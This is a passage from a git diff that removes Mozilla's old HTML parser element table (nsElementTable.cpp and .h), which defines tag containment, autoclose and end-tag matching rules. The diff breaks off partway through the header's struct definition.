- /*tag*/ eHTMLTag_entity,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInBody,&gInBody,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, kNone, kNone,
- /*special props, prop-range*/ 0, kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_doctypeDecl,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, kNone, kNone,
- /*special props, prop-range*/ kOmitEndTag,kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_markupDecl,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, kNone, kNone,
- /*special props, prop-range*/ kOmitEndTag,kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_instruction,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ 0,0,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, kNone, kNone,
- /*special props, prop-range*/ kOmitEndTag,kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- // Userdefined tags must have a parent model of kHeadMisc to ensure that
- // we do the right thing for whitespace in the head section of a document.
- // (i.e., it must be non-exclusively a child of the head).
-
- /*tag*/ eHTMLTag_userdefined,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_frameset,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gBodyAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ (kFlowEntity|kHeadMisc), (kInlineEntity|kSelf), kNone, // Treat userdefined as inline element - Ref bug 56245,66772
- /*special props, prop-range*/ kPreferBody, kBodyPropRange,
- /*special parents,kids*/ &gInNoframes,&gBodyKids,
- }
-};
-
-#ifdef DEBUG
-void CheckElementTable() {
- for (eHTMLTags t = eHTMLTag_unknown; t <= eHTMLTag_userdefined; t = eHTMLTags(t + 1)) {
- NS_ASSERTION(gHTMLElements[t].mTagID == t, "gHTMLElements entries does match tag list.");
- }
-}
-#endif
-
-/**
- * Call this to find the index of a given child, or (if not found)
- * the index of its nearest synonym.
- *
- * @update gess 3/25/98
- * @param aTagStack -- list of open tags
- * @param aTag -- tag to test for containership
- * @return index of kNotFound
- */
-int32_t nsHTMLElement::GetIndexOfChildOrSynonym(nsDTDContext& aContext,eHTMLTags aChildTag) {
- int32_t theChildIndex=aContext.LastOf(aChildTag);
- if(kNotFound==theChildIndex) {
- const TagList* theSynTags=gHTMLElements[aChildTag].GetSynonymousTags(); //get the list of tags that THIS tag can close
- if(theSynTags) {
- theChildIndex=LastOf(aContext,*theSynTags);
- }
- }
- return theChildIndex;
-}
-
-/**
- *
- * @update gess1/21/99
- * @param
- * @return
- */
-bool nsHTMLElement::HasSpecialProperty(int32_t aProperty) const{
- bool result=TestBits(mSpecialProperties,aProperty);
- return result;
-}
-
-/**
- *
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::IsContainer(eHTMLTags aChild) {
- bool result=(eHTMLTag_unknown==aChild);
-
- if(!result){
- result=!TestBits(gHTMLElements[aChild].mSpecialProperties,kNonContainer);
- }
- return result;
-}
-
-/**
- * This tests whether all the bits in the parentbits
- * are included in the given set. It may be too
- * broad a question for most cases.
- *
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::IsMemberOf(int32_t aSet) const{
- return TestBits(aSet,mParentBits);
-}
-
-/**
- * This tests whether all the bits in the parentbits
- * are included in the given set. It may be too
- * broad a question for most cases.
- *
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::ContainsSet(int32_t aSet) const{
- return TestBits(mParentBits,aSet);
-}
-
-/**
- * This method determines whether the given tag closes other blocks.
- *
- * @update gess 12/20/99 -- added H1..H6 to this list.
- * @param
- * @return
- */
-bool nsHTMLElement::IsBlockCloser(eHTMLTags aTag){
- bool result=false;
-
- if((aTag>=eHTMLTag_unknown) & (aTag<=eHTMLTag_xmp)){
-
- result=(gHTMLElements[aTag].IsBlock() ||
- gHTMLElements[aTag].IsBlockEntity() ||
- (kHeading==gHTMLElements[aTag].mParentBits));
- if(!result) {
- // NOBR is a block closure - Ref. Bug# 24462
- // DIR is a block closure - Ref. Bug# 25845
- // TD is a block closure - Ref. Bug# 27490
- // TR is a block closure - Ref. Bug# 26488
- // OBJECT is a block closure - Ref. Bug# 88992
-
- static eHTMLTags gClosers[]={ eHTMLTag_table,eHTMLTag_tbody,
- eHTMLTag_td,eHTMLTag_th,
- eHTMLTag_tr,eHTMLTag_caption,
- eHTMLTag_object,eHTMLTag_applet,
- eHTMLTag_ol, eHTMLTag_ul,
- eHTMLTag_optgroup,
- eHTMLTag_nobr,eHTMLTag_dir};
-
- result=FindTagInSet(aTag,gClosers,sizeof(gClosers)/sizeof(eHTMLTag_body));
- }
- }
- return result;
-}
-
-
-/**
- *
- * @update gess 01/04/99
- * @param
- * @return
- */
-bool nsHTMLElement::IsInlineEntity(eHTMLTags aTag){
- bool result=false;
- if((aTag>=eHTMLTag_unknown) & (aTag<=eHTMLTag_xmp)){
- result=TestBits(gHTMLElements[aTag].mParentBits,kInlineEntity);
- }
- return result;
-}
-
-/**
- *
- * @update gess 01/04/99
- * @param
- * @return
- */
-bool nsHTMLElement::IsFlowEntity(eHTMLTags aTag){
- bool result=false;
-
- if((aTag>=eHTMLTag_unknown) & (aTag<=eHTMLTag_xmp)){
- result=TestBits(gHTMLElements[aTag].mParentBits,kFlowEntity);
- }
- return result;
-}
-
-/**
- *
- * @update gess 01/04/99
- * @param
- * @return
- */
-bool nsHTMLElement::IsBlockParent(eHTMLTags aTag){
- bool result=false;
- if((aTag>=eHTMLTag_unknown) & (aTag<=eHTMLTag_xmp)){
- result=TestBits(gHTMLElements[aTag].mInclusionBits,kBlockEntity);
- }
- return result;
-}
-
-/**
- *
- * @update gess 01/04/99
- * @param
- * @return
- */
-bool nsHTMLElement::IsInlineParent(eHTMLTags aTag){
- bool result=false;
- if((aTag>=eHTMLTag_unknown) & (aTag<=eHTMLTag_xmp)){
- result=TestBits(gHTMLElements[aTag].mInclusionBits,kInlineEntity);
- }
- return result;
-}
-
-
-/**
- *
- * @update gess 01/04/99
- * @param
- * @return
- */
-bool nsHTMLElement::IsFlowParent(eHTMLTags aTag){
- bool result=false;
- if((aTag>=eHTMLTag_unknown) & (aTag<=eHTMLTag_xmp)){
- result=TestBits(gHTMLElements[aTag].mInclusionBits,kFlowEntity);
- }
- return result;
-}
-
-/**
- *
- * @update harishd 11/19/99
- * @param
- * @return
- */
-bool nsHTMLElement::IsSpecialParent(eHTMLTags aTag) const{
- bool result=false;
- if(mSpecialParents) {
- if(FindTagInSet(aTag,mSpecialParents->mTags,mSpecialParents->mCount))
- result=true;
- }
- return result;
-}
-
-/**
- * Tells us whether the given tag opens a section
- * @update gess 01/04/99
- * @param id of tag
- * @return TRUE if opens section
- */
-bool nsHTMLElement::IsSectionTag(eHTMLTags aTag){
- bool result=false;
- switch(aTag){
- case eHTMLTag_html:
- case eHTMLTag_frameset:
- case eHTMLTag_body:
- case eHTMLTag_head:
- result=true;
- break;
- default:
- result=false;
- }
- return result;
-}
-
-
-/**
- *
- * @update gess 01/04/99
- * @param
- * @return
- */
-bool nsHTMLElement::CanContain(eHTMLTags aParent,eHTMLTags aChild,nsDTDMode aMode){
- bool result=false;
- if((aParent>=eHTMLTag_unknown) && (aParent<=eHTMLTag_userdefined)){
- result=gHTMLElements[aParent].CanContain(aChild,aMode);
- }
- return result;
-}
-
-/**
- *
- * @update gess 01/04/99
- * @param
- * @return
- */
-bool nsHTMLElement::CanExclude(eHTMLTags aChild) const{
- bool result=false;
-
- if(gHTMLElements[aChild].HasSpecialProperty(kLegalOpen)) {
- // Some tags could be opened anywhere, in the document, as they please.
- return false;
- }
-
- //Note that special kids takes precedence over exclusions...
- if(mSpecialKids) {
- if(FindTagInSet(aChild,mSpecialKids->mTags,mSpecialKids->mCount)) {
- return false;
- }
- }
-
- if(mExclusionBits){
- if(gHTMLElements[aChild].IsMemberOf(mExclusionBits)) {
- result=true;
- }
- }
- return result;
-}
-
-/**
- *
- * @update harishd 03/01/00
- * @param
- * @return
- */
-bool nsHTMLElement::IsExcludableParent(eHTMLTags aParent) const{
- bool result=false;
-
- if(!IsTextTag(mTagID)) {
- if(mExcludableParents) {
- const TagList* theParents=mExcludableParents;
- if(FindTagInSet(aParent,theParents->mTags,theParents->mCount))
- result=true;
- }
- if(!result) {
- // If you're a block parent make sure that you're not the
- // parent of a TABLE element. ex. <table><tr><td><div><td></tr></table>
- // IE & Nav. render this as table with two cells ( which I think is correct ).
- // NOTE: If need arise we could use the root node to solve this problem
- if(nsHTMLElement::IsBlockParent(aParent)){
- switch(mTagID) {
- case eHTMLTag_caption:
- case eHTMLTag_thead:
- case eHTMLTag_tbody:
- case eHTMLTag_tfoot:
- case eHTMLTag_td:
- case eHTMLTag_th:
- case eHTMLTag_tr:
- result=true;
- default:
- break;
- }
- }
- }
- }
- return result;
-}
-
-/**
- *
- * @update gess 01/04/99
- * @param
- * @return
- */
-bool nsHTMLElement::CanOmitEndTag(void) const{
- bool result=!IsContainer(mTagID);
- if(!result)
- result=TestBits(mSpecialProperties,kOmitEndTag);
- return result;
-}
-
-/**
- * Returns whether a given tag can be a direct child of the <head> node of
- * an HTML document.
- *
- * @param aChild The tag in question.
- * @param aExclusively [out]Whether or not this tag can *only* appear in the
- * head (as opposed to things like <object> which can be
- either in the body or the head).
- * @return Whether this tag can appear in the head.
- */
-bool nsHTMLElement::IsChildOfHead(eHTMLTags aChild,bool& aExclusively) {
- aExclusively = true;
-
- // Is this a head-only tag?
- if (gHTMLElements[aChild].mParentBits & kHeadContent) {
- return true;
- }
-
-
- // If not, check if it can appear in the head.
- if (gHTMLElements[aChild].mParentBits & kHeadMisc) {
- aExclusively = false;
- return true;
- }
-
- return false;
-}
-
-
-
-/**
- *
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::SectionContains(eHTMLTags aChild,bool allowDepthSearch) const {
- bool result=false;
- const TagList* theRootTags=gHTMLElements[aChild].GetRootTags();
-
- if(theRootTags){
- if(!FindTagInSet(mTagID,theRootTags->mTags,theRootTags->mCount)){
- eHTMLTags theRootBase=theRootTags->mTags[0];
- if((eHTMLTag_unknown!=theRootBase) && (allowDepthSearch))
- result=SectionContains(theRootBase,allowDepthSearch);
- }
- else result=true;
- }
- return result;
-}
-
-/**
- * This method should be called to determine if the a tags
- * hierarchy needs to be validated.
- *
- * @update harishd 04/19/00
- * @param
- * @return
- */
-
-bool nsHTMLElement::ShouldVerifyHierarchy() const {
- bool result=false;
-
- // If the tag cannot contain itself then we need to make sure that
- // anywhere in the hierarchy we don't nest accidently.
- // Ex: <H1><LI><H1><LI>. Inner LI has the potential of getting nested
- // inside outer LI.If the tag can contain self, Ex: <A><B><A>,
- // ( B can contain self )then ask the child (<A>) if it requires a containment check.
- if(mTagID!=eHTMLTag_userdefined) {
- result=HasSpecialProperty(kVerifyHierarchy);
- }
- return result;
-}
-
-/**
- *
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::IsResidualStyleTag(eHTMLTags aChild) {
- bool result=false;
- switch(aChild) {
- case eHTMLTag_a:
- case eHTMLTag_b:
- case eHTMLTag_bdo:
- case eHTMLTag_big:
- case eHTMLTag_del:
- case eHTMLTag_em:
- case eHTMLTag_font:
- case eHTMLTag_i:
- case eHTMLTag_ins:
- case eHTMLTag_q:
- case eHTMLTag_s:
- case eHTMLTag_small:
- case eHTMLTag_strong:
- case eHTMLTag_strike:
- case eHTMLTag_sub:
- case eHTMLTag_sup:
- case eHTMLTag_tt:
- case eHTMLTag_u:
- result=true;
- break;
-
- case eHTMLTag_abbr:
- case eHTMLTag_acronym:
- case eHTMLTag_center:
- case eHTMLTag_cite:
- case eHTMLTag_code:
- case eHTMLTag_dfn:
- case eHTMLTag_kbd:
- case eHTMLTag_samp:
- case eHTMLTag_span:
- case eHTMLTag_var:
- result=false;
- default:
- break;
- };
- return result;
-}
-
-/**
- *
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::CanContainType(int32_t aType) const{
- int32_t answer=mInclusionBits & aType;
- bool result=bool(0!=answer);
- return result;
-}
-
-/**
- *
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::IsWhitespaceTag(eHTMLTags aChild) {
- bool result=false;
-
- switch(aChild) {
- case eHTMLTag_newline:
- case eHTMLTag_whitespace:
- result=true;
- break;
- default:
- break;
- }
- return result;
-}
-
-/**
- *
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::IsTextTag(eHTMLTags aChild) {
- bool result=false;
-
- switch(aChild) {
- case eHTMLTag_text:
- case eHTMLTag_entity:
- case eHTMLTag_newline:
- case eHTMLTag_whitespace:
- result=true;
- break;
- default:
- break;
- }
- return result;
-}
-
-/**
- *
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::CanContainSelf(void) const {
- bool result=bool(TestBits(mInclusionBits,kSelf)!=0);
- return result;
-}
-
-/**
- * This method is called to determine (once and for all) whether a start tag
- * can close another tag on the stack. This method will return
- * false if something prevents aParentTag from closing.
- *
- * @update gess 12/20/99
- * @param aContext is the tag stack we're testing against
- * @param aIndex is the index of the tag we want to close
- * @param aChildTag is the child we're trying to close
- * @return TRUE if we can autoclose the start tag; FALSE otherwise
- */
-bool nsHTMLElement::CanAutoCloseTag(nsDTDContext& aContext,int32_t aIndex,
- eHTMLTags aChildTag) const{
-
- int32_t thePos;
- bool result = true;
- eHTMLTags thePrevTag;
-
- for(thePos = aContext.GetCount() - 1; thePos >= aIndex; thePos--) {
- thePrevTag = aContext.TagAt(thePos);
-
- if (thePrevTag == eHTMLTag_applet ||
- thePrevTag == eHTMLTag_td) {
- result = false;
- break;
- }
- }
-
- return result;
-}
-
-/**
- *
- * @update gess 10.17.2000
- * @param
- * @return
- */
-eHTMLTags nsHTMLElement::GetCloseTargetForEndTag(nsDTDContext& aContext,int32_t anIndex,nsDTDMode aMode) const{
- eHTMLTags result=eHTMLTag_unknown;
-
- int theCount=aContext.GetCount();
- int theIndex=theCount;
-
- if(IsMemberOf(kPhrase)){
-
- while((--theIndex>=anIndex) && (eHTMLTag_unknown==result)){
- eHTMLTags theTag = aContext.TagAt(theIndex);
- if(theTag != mTagID) {
- // Allow phrasals to close userdefined tags. bug 256731
- if(eHTMLTag_userdefined == theTag) {
- continue; // We can close this.
- }
-
- // Fixes a derivative of bug 22842...
- if(CanContainType(kBlock)) { // INS/DEL can contain blocks.
- if(gHTMLElements[eHTMLTags(theTag)].IsMemberOf(kBlockEntity) ||
- gHTMLElements[eHTMLTags(theTag)].IsMemberOf(kFlowEntity)) {
- if(HasOptionalEndTag(theTag)) {
- continue; // Then I can close it.
- }
- }
- }
-
- // Phrasal elements can close other phrasals, along with fontstyle,
- // extensions, and special tags...
- if(!gHTMLElements[theTag].IsMemberOf(kSpecial |
- kFontStyle |
- kPhrase |
- kExtensions)) { //fix bug 56665
- break; // It's not something I can close
- }
- }
- else {
- result=theTag; // Stop because you just found yourself on the stack
- break;
- }
- }
- }
-
- else if(IsMemberOf(kSpecial)){
-
- while((--theIndex>=anIndex) && (eHTMLTag_unknown==result)){
- eHTMLTags theTag=aContext.TagAt(theIndex);
- if(theTag!=mTagID) {
- // Special elements can close other specials, along with fontstyle
- // extensions, and phrasal tags...
-
- // Added Phrasal to fix bug 26347
- if((eHTMLTag_userdefined==theTag) ||
- gHTMLElements[theTag].IsSpecialEntity() ||
- gHTMLElements[theTag].IsFontStyleEntity()||
- gHTMLElements[theTag].IsPhraseEntity() ||
- gHTMLElements[theTag].IsMemberOf(kExtensions)) {
- continue;
- }
- else {
-
- // Fixes bug 22842...
- if(CanContainType(kBlock)) {
- if(gHTMLElements[eHTMLTags(theTag)].IsMemberOf(kBlockEntity) ||
- gHTMLElements[eHTMLTags(theTag)].IsMemberOf(kFlowEntity)) {
- if(HasOptionalEndTag(theTag)) {
- continue; // Then I can close it.
- }
- }
- }
- break; // It's not something I can close
- }
- }
- else {
- result=theTag; // Stop because you just found yourself on the stack
- break;
- }
- }
- }
-
- else if(ContainsSet(kPreformatted) ||
- IsMemberOf(kFormControl|kExtensions|kPreformatted)){ //bug54834...
-
- while((--theIndex>=anIndex) && (eHTMLTag_unknown==result)){
- eHTMLTags theTag=aContext.TagAt(theIndex);
- if(theTag!=mTagID) {
- if(!CanContain(theTag,aMode)) {
- break; //it's not something I can close
- }
- }
- else {
- result=theTag; //stop because you just found yourself on the stack
- break;
- }
- }
- }
-
- else if(IsMemberOf(kList)){
-
- while((--theIndex>=anIndex) && (eHTMLTag_unknown==result)){
- eHTMLTags theTag=aContext.TagAt(theIndex);
- if(theTag!=mTagID) {
- if(!CanContain(theTag,aMode)) {
- break; //it's not something I can close
- }
- }
- else {
- result=theTag; //stop because you just found yourself on the stack
- break;
- }
- }
- }
-
- else if(IsResidualStyleTag(mTagID)){
-
- // Before finding a close target, for the current tag, make sure
- // that the tag above does not gate.
- // Note: we intentionally make 2 passes:
- // The first pass tries to exactly match, the 2nd pass matches the group.
-
- const TagList* theRootTags=gHTMLElements[mTagID].GetEndRootTags();
- int32_t theIndexCopy=theIndex;
- while(--theIndex>=anIndex){
- eHTMLTags theTag=aContext.TagAt(theIndex);
- if(theTag == mTagID) {
- return theTag; // we found our target.
- }
- else if (!CanContain(theTag,aMode) ||
- (theRootTags && FindTagInSet(theTag,theRootTags->mTags,theRootTags->mCount))) {
- // If you cannot contain this tag then
- // you cannot close it either. It looks like
- // the tag trying to close is misplaced.
- // In the following Exs. notice the misplaced /font:
- // Ex. <font><table><tr><td></font></td></tr></table. -- Ref. bug 56245
- // Ex. <font><select><option></font></select> -- Ref. bug 37618
- // Ex. <font><select></font><option></select> -- Ref. bug 98187
- return eHTMLTag_unknown;
- }
- }
-
- theIndex=theIndexCopy;
- while(--theIndex>=anIndex){
- eHTMLTags theTag=aContext.TagAt(theIndex);
- if(gHTMLElements[theTag].IsMemberOf(mParentBits)) {
- return theTag;
- }
- }
- }
-
- else if(gHTMLElements[mTagID].IsTableElement()) {
-
- //This fixes 57378...
- //example: <TABLE><THEAD><TR><TH></THEAD> which didn't close the <THEAD>
-
- int32_t theLastTable=aContext.LastOf(eHTMLTag_table);
- int32_t theLastOfMe=aContext.LastOf(mTagID);
- if(theLastTable<theLastOfMe) {
- return mTagID;
- }
-
- }
-
- else if(mTagID == eHTMLTag_legend) {
- while((--theIndex>=anIndex) && (eHTMLTag_unknown==result)){
- eHTMLTags theTag = aContext.TagAt(theIndex);
- if (theTag == mTagID) {
- result = theTag;
- break;
- }
-
- if (!CanContain(theTag, aMode)) {
- break;
- }
- }
- }
-
- else if (mTagID == eHTMLTag_head) {
- while (--theIndex >= anIndex) {
- eHTMLTags tag = aContext.TagAt(theIndex);
- if (tag == eHTMLTag_html) {
- // HTML gates head closing, but the head should never be the parent of
- // an html tag.
- break;
- }
-
- if (tag == eHTMLTag_head) {
- result = eHTMLTag_head;
- break;
- }
- }
- }
-
- return result;
-}
-
-
-/**
- * See whether this tag can DIRECTLY contain the given child.
- * @update gess12/13/98
- * @param
- * @return
- */
-bool nsHTMLElement::CanContain(eHTMLTags aChild,nsDTDMode aMode) const{
-
-
- if(IsContainer(mTagID)){
-
- if(gHTMLElements[aChild].HasSpecialProperty(kLegalOpen)) {
- // Some tags could be opened anywhere, in the document, as they please.
- return true;
- }
-
- if(mTagID==aChild) {
- return CanContainSelf(); //not many tags can contain themselves...
- }
-
- const TagList* theCloseTags=gHTMLElements[aChild].GetAutoCloseStartTags();
- if(theCloseTags){
- if(FindTagInSet(mTagID,theCloseTags->mTags,theCloseTags->mCount))
- return false;
- }
-
- if(gHTMLElements[aChild].mExcludableParents) {
- const TagList* theParents=gHTMLElements[aChild].mExcludableParents;
- if(FindTagInSet(mTagID,theParents->mTags,theParents->mCount))
- return false;
- }
-
- if(gHTMLElements[aChild].IsExcludableParent(mTagID))
- return false;
-
- if(gHTMLElements[aChild].IsBlockCloser(aChild)){
- if(nsHTMLElement::IsBlockParent(mTagID)){
- return true;
- }
- }
-
- if(nsHTMLElement::IsInlineEntity(aChild)){
- if(nsHTMLElement::IsInlineParent(mTagID)){
- return true;
- }
- }
-
- if(nsHTMLElement::IsFlowEntity(aChild)) {
- if(nsHTMLElement::IsFlowParent(mTagID)){
- return true;
- }
- }
-
- if(nsHTMLElement::IsTextTag(aChild)) {
- // Allow <xmp> to contain text.
- if(nsHTMLElement::IsInlineParent(mTagID) || CanContainType(kCDATA)){
- return true;
- }
- }
-
- if(CanContainType(gHTMLElements[aChild].mParentBits)) {
- return true;
- }
-
- if(mSpecialKids) {
- if(FindTagInSet(aChild,mSpecialKids->mTags,mSpecialKids->mCount)) {
- return true;
- }
- }
-
- // Allow <p> to contain <table> only in Quirks mode, bug 43678 and bug 91927
- if (aChild == eHTMLTag_table && mTagID == eHTMLTag_p && aMode == eDTDMode_quirks) {
- return true;
- }
- }
-
- return false;
-}
-
-#ifdef DEBUG
-void nsHTMLElement::DebugDumpContainment(const char* aFilename,const char* aTitle){
-}
-
-void nsHTMLElement::DebugDumpMembership(const char* aFilename){
-}
-
-void nsHTMLElement::DebugDumpContainType(const char* aFilename){
-}
-#endif
diff --git a/parser/htmlparser/src/nsElementTable.h b/parser/htmlparser/src/nsElementTable.h
deleted file mode 100644
index 54bcb26b1..000000000
--- a/parser/htmlparser/src/nsElementTable.h
+++ /dev/null
@@ -1,237 +0,0 @@
-/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
-/* This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-
-
-/**
- * MODULE NOTES:
- * @update gess 4/1/98
- *
- */
-
-
-
-#ifndef _NSELEMENTABLE
-#define _NSELEMENTABLE
-
-#include "nsHTMLTokens.h"
-#include "nsDTDUtils.h"
-
-
-//*********************************************************************************************
-// The following ints define the standard groups of HTML elements...
-//*********************************************************************************************
-
-static const int kNone= 0x0;
-
-static const int kHTMLContent = 0x0001; // HEAD, (FRAMESET | BODY)
-static const int kHeadContent = 0x0002; // Elements that *must* be in the head.
-static const int kHeadMisc = 0x0004; // Elements that *can* be in the head.
-
-static const int kSpecial = 0x0008; // A, IMG, APPLET, OBJECT, FONT, BASEFONT, BR, SCRIPT,
- // MAP, Q, SUB, SUP, SPAN, BDO, IFRAME
-
-static const int kFormControl = 0x0010; // INPUT SELECT TEXTAREA LABEL BUTTON
-static const int kPreformatted = 0x0020; // PRE
-static const int kPreExclusion = 0x0040; // IMG, OBJECT, APPLET, BIG, SMALL, SUB, SUP, FONT, BASEFONT
-static const int kFontStyle = 0x0080; // TT, I, B, U, S, STRIKE, BIG, SMALL
-static const int kPhrase = 0x0100; // EM, STRONG, DFN, CODE, SAMP, KBD, VAR, CITE, ABBR, ACRONYM
-static const int kHeading = 0x0200; // H1..H6
-static const int kBlockMisc = 0x0400; // OBJECT, SCRIPT
-static const int kBlock = 0x0800; // ADDRESS, BLOCKQUOTE, CENTER, DIV, DL, FIELDSET, FORM,
- // ISINDEX, HR, NOSCRIPT, NOFRAMES, P, TABLE
-static const int kList = 0x1000; // UL, OL, DIR, MENU
-static const int kPCDATA = 0x2000; // plain text and entities...
-static const int kSelf = 0x4000; // whatever THIS tag is...
-static const int kExtensions = 0x8000; // BGSOUND, WBR, NOBR
-static const int kTable = 0x10000;// TR,TD,THEAD,TBODY,TFOOT,CAPTION,TH
-static const int kDLChild = 0x20000;// DL, DT
-static const int kCDATA = 0x40000;// just plain text...
-
-static const int kInlineEntity = (kPCDATA|kFontStyle|kPhrase|kSpecial|kFormControl|kExtensions); // #PCDATA, %fontstyle, %phrase, %special, %formctrl
-static const int kBlockEntity = (kHeading|kList|kPreformatted|kBlock); // %heading, %list, %preformatted, %block
-static const int kFlowEntity = (kBlockEntity|kInlineEntity); // %blockentity, %inlineentity
-static const int kAllTags = 0xffffff;
-
-
-//*********************************************************************************************
-// The following ints define the standard groups of HTML elements...
-//*********************************************************************************************
-
-
-#ifdef DEBUG
-extern void CheckElementTable();
-#endif
-
-
-/**
- * We're asking the question: is aTest a member of bitset.
- *
- * @update gess 01/04/99
- * @param
- * @return TRUE or FALSE
- */
-inline bool TestBits(int aBitset,int aTest) {
- if(aTest) {
- int32_t result=(aBitset & aTest);
- return bool(result==aTest);
- }
- return false;
-}
-
-
-/**
- *
- * @update gess 01/04/99
- * @param
- * @return
- */
-struct nsHTMLElement {
-
-#ifdef DEBUG
- static void DebugDumpMembership(const char* aFilename);
- static void DebugDumpContainment(const char* aFilename,const char* aTitle);
- static void DebugDumpContainType(const char* aFilename);
-#endif
-
- static bool IsInlineEntity(eHTMLTags aTag);
- static bool IsFlowEntity(eHTMLTags aTag);
- static bool IsBlockCloser(eHTMLTags aTag);
-
- inline bool IsBlock(void) const {
- if((mTagID>=eHTMLTag_unknown) & (mTagID<=eHTMLTag_xmp)){
- return TestBits(mParentBits,kBlock);
- }
- return false;
- }
-
- inline bool IsBlockEntity(void) const {
- if((mTagID>=eHTMLTag_unknown) & (mTagID<=eHTMLTag_xmp)){
- return TestBits(mParentBits,kBlockEntity);
- }
- return false;
- }
-
- inline bool IsSpecialEntity(void) const {
- if((mTagID>=eHTMLTag_unknown) & (mTagID<=eHTMLTag_xmp)){
- return TestBits(mParentBits,kSpecial);
- }
- return false;
- }
-
- inline bool IsPhraseEntity(void) const {
- if((mTagID>=eHTMLTag_unknown) & (mTagID<=eHTMLTag_xmp)){
- return TestBits(mParentBits,kPhrase);
- }
- return false;
- }
-
- inline bool IsFontStyleEntity(void) const {
- if((mTagID>=eHTMLTag_unknown) & (mTagID<=eHTMLTag_xmp)){
- return TestBits(mParentBits,kFontStyle);
- }
- return false;
- }
-
- inline bool IsTableElement(void) const { //return yes if it's a table or child of a table...
- bool result=false;
-
- switch(mTagID) {
- case eHTMLTag_table:
- case eHTMLTag_thead:
- case eHTMLTag_tbody:
- case eHTMLTag_tfoot:
- case eHTMLTag_caption:
- case eHTMLTag_tr:
- case eHTMLTag_td:
- case eHTMLTag_th:
- case eHTMLTag_col:
- case eHTMLTag_colgroup:
- result=true;
- break;
- default:
- result=false;
- }
- return result;
- }
-
-
- static int32_t GetIndexOfChildOrSynonym(nsDTDContext& aContext,eHTMLTags aChildTag);
-
- const TagList* GetSynonymousTags(void) const {return mSynonymousTags;}
- const TagList* GetRootTags(void) const {return mRootNodes;}
- const TagList* GetEndRootTags(void) const {return mEndRootNodes;}
- const TagList* GetAutoCloseStartTags(void) const {return mAutocloseStart;}
- const TagList* GetAutoCloseEndTags(void) const {return mAutocloseEnd;}
- eHTMLTags GetCloseTargetForEndTag(nsDTDContext& aContext,int32_t anIndex,nsDTDMode aMode) const;
-
- const TagList* GetSpecialChildren(void) const {return mSpecialKids;}
- const TagList* GetSpecialParents(void) const {return mSpecialParents;}
-
- bool IsMemberOf(int32_t aType) const;
- bool ContainsSet(int32_t aType) const;
- bool CanContainType(int32_t aType) const;
-
- bool CanContain(eHTMLTags aChild,nsDTDMode aMode) const;
- bool CanExclude(eHTMLTags aChild) const;
- bool CanOmitEndTag(void) const;
- bool CanContainSelf(void) const;
- bool CanAutoCloseTag(nsDTDContext& aContext,int32_t aIndex,eHTMLTags aTag) const;
- bool HasSpecialProperty(int32_t aProperty) const;
- bool IsSpecialParent(eHTMLTags aTag) const;
- bool IsExcludableParent(eHTMLTags aParent) const;
- bool SectionContains(eHTMLTags aTag,bool allowDepthSearch) const;
- bool ShouldVerifyHierarchy() const;
-
- static bool CanContain(eHTMLTags aParent,eHTMLTags aChild,nsDTDMode aMode);
- static bool IsContainer(eHTMLTags aTag) ;
- static bool IsResidualStyleTag(eHTMLTags aTag) ;
- static bool IsTextTag(eHTMLTags aTag);
- static bool IsWhitespaceTag(eHTMLTags aTag);
-
- static bool IsBlockParent(eHTMLTags aTag);
- static bool IsInlineParent(eHTMLTags aTag);
- static bool IsFlowParent(eHTMLTags aTag);
- static bool IsSectionTag(eHTMLTags aTag);
- static bool IsChildOfHead(eHTMLTags aTag,bool& aExclusively) ;
-
- eHTMLTags mTagID;
- eHTMLTags mRequiredAncestor;
- eHTMLTags mExcludingAncestor; //If set, the presence of the excl-ancestor prevents this from opening.
- const TagList* mRootNodes; //These are the tags above which you many not autoclose a START tag
- const TagList* mEndRootNodes; //These are the tags above which you many not autoclose an END tag
- const TagList* mAutocloseStart; //these are the start tags that you can automatically close with this START tag
- const TagList* mAutocloseEnd; //these are the start tags that you can automatically close with this END tag
- const TagList* mSynonymousTags; //These are morally equivalent; an end tag for one can close a start tag for another (like <Hn>)
- const TagList* mExcludableParents; //These are the TAGS that cannot contain you
- int mParentBits; //defines groups that can contain this element
- int mInclusionBits; //defines parental and containment rules
- int mExclusionBits; //defines things you CANNOT contain
- int mSpecialProperties; //used for various special purposes...
- uint32_t mPropagateRange; //tells us how far a parent is willing to prop. badly formed children
